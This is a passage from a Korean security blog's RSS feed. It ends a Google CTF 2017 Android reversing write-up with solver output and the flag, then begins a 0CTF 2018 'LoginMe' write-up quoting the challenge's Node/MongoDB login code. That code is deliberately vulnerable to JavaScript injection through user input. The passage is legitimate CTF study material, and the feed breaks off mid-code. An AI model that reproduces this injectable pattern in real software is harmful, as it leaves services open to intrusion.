        v0 &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; v4

&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; r_c(flag, this_k)&lt;/span&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실행해보면 flag 를 확인할&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;table class=&quot;txc-table&quot; width=&quot;864&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;border:none;border-collapse:collapse;;font-family:&quot; 맑은=&quot;&quot; 고딕&quot;,=&quot;&quot; sans-serif;font-size:16px&quot;=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;width:864;height:24;border-bottom:1px solid #ccc;border-right:1px solid #ccc;border-top:1px solid #ccc;border-left:1px solid #ccc;;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;hyunmini@~/2017.googlectf/food$&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;python food_flag2.py&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;[*] google ctf 2017 : food.apk&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;[*] get this.k array..&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0x9&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0xa&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0xd&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0x7&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0x11&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0x1&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0x13&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;0x2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;[*] get Flag!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;CTF{bacon_lettuce_tomato_lobster_soul}&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;끝! (ps. &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;간만의 안드로이드 리버싱 문제라서 반가웠다.)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;</description>
      <category>fook.apk writeup</category>
      <category>gctf2017 food writeup</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/125</guid>
      <comments>https://hyunmini.tistory.com/125#entry125comment</comments>
      <pubDate>Tue, 10 Apr 2018 16:29:45 +0900</pubDate>
    </item>
    <item>
      <title>0ctf 2018 - LoginMe Writeup</title>
      <link>https://hyunmini.tistory.com/124</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;0CTF2018 - LoginMe&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.6667px; color: rgb(140, 140, 140);&quot;&gt;I didn't participate&amp;nbsp;but I tried to solve LoginMe which is one of 0ctf 2018 tasks.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;https://ctf.0ops.sjtu.cn/login#task-28&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99AF26505ACC42BC1A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99AF26505ACC42BC1A&quot; width=&quot;900&quot; height=&quot;505&quot; filename=&quot;스크린샷 2018-04-10 오전 10.44.50.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 14pt;&quot;&gt;web login window is given, and the source code is given.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;# loginme.js&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 4px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 0.9333em; line-height: 1.5em; font-family: Consolas, &amp;quot;Lucida Console&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, Monaco, &amp;quot;Courier New&amp;quot;, monospace; background: rgb(0, 0, 0); color: rgb(248, 248, 248);&quot;&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; require(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'express'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; express()

&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;bodyParser&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; require(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'body-parser'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
app.use(bodyParser.urlencoded({}));

&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; require(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);
&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;moment&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; require(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'moment'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);
&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;MongoClient&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; require(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'mongodb'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;).MongoClient;
&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;mongodb://localhost:27017/&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;

MongoClient.connect(url, &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(err, db) {
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (err) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; err;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;dbo&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; db.db(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;test_db&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);
    &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;collection_name&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;users&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;password_column&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;password_&quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(155, 133, 157); font-size: 14pt;&quot;&gt;Math&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;random&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
    &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;password&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;xxxxxxxxxxxxxxxxxxxxxx&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;// flag is flag{password}&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;myobj&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;last_access&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;: moment().format(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'YYYY-MM-DD HH:mm:ss Z'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)};
    &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;myobj&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;[password_column] &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; password;
    dbo.collection(collection_name).&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;remove&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;({});
    dbo.collection(collection_name).&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(
        { name: myobj.&lt;/span&gt;&lt;span style=&quot;color: rgb(207, 106, 76); font-size: 14pt;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; },
        myobj,
        { upsert: &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; }
    );

    app.get(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'/'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (req, res) {
        res.sendFile(path.&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(__dirname,&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'index.html'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;));
    })
    app.post(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'/check'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (req, res) {
        &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;check_function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'if(this.username == #username# &amp;amp;&amp;amp; #username# == &quot;admin&quot; &amp;amp;&amp;amp; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;         hex_md5(#password#) == this.'&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;password_column&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;'){&lt;/span&gt;&lt;span style=&quot;color: rgb(221, 242, 164); font-size: 14pt;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return 1;&lt;/span&gt;&lt;span style=&quot;color: rgb(221, 242, 164); font-size: 14pt;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}else{&lt;/span&gt;&lt;span style=&quot;color: rgb(221, 242, 164); font-size: 14pt;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return 0;}'&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;

        &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; req.&lt;/span&gt;&lt;span style=&quot;color: rgb(207, 106, 76); font-size: 14pt;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){
            &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;valid&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'#'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'('&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;')'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;].every((x)&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; req.&lt;/span&gt;&lt;span style=&quot;color: rgb(207, 106, 76); font-size: 14pt;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;[k].&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(x) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;});
            &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;valid) res.&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'Nope'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);
            &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;check_function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; check_function.&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(
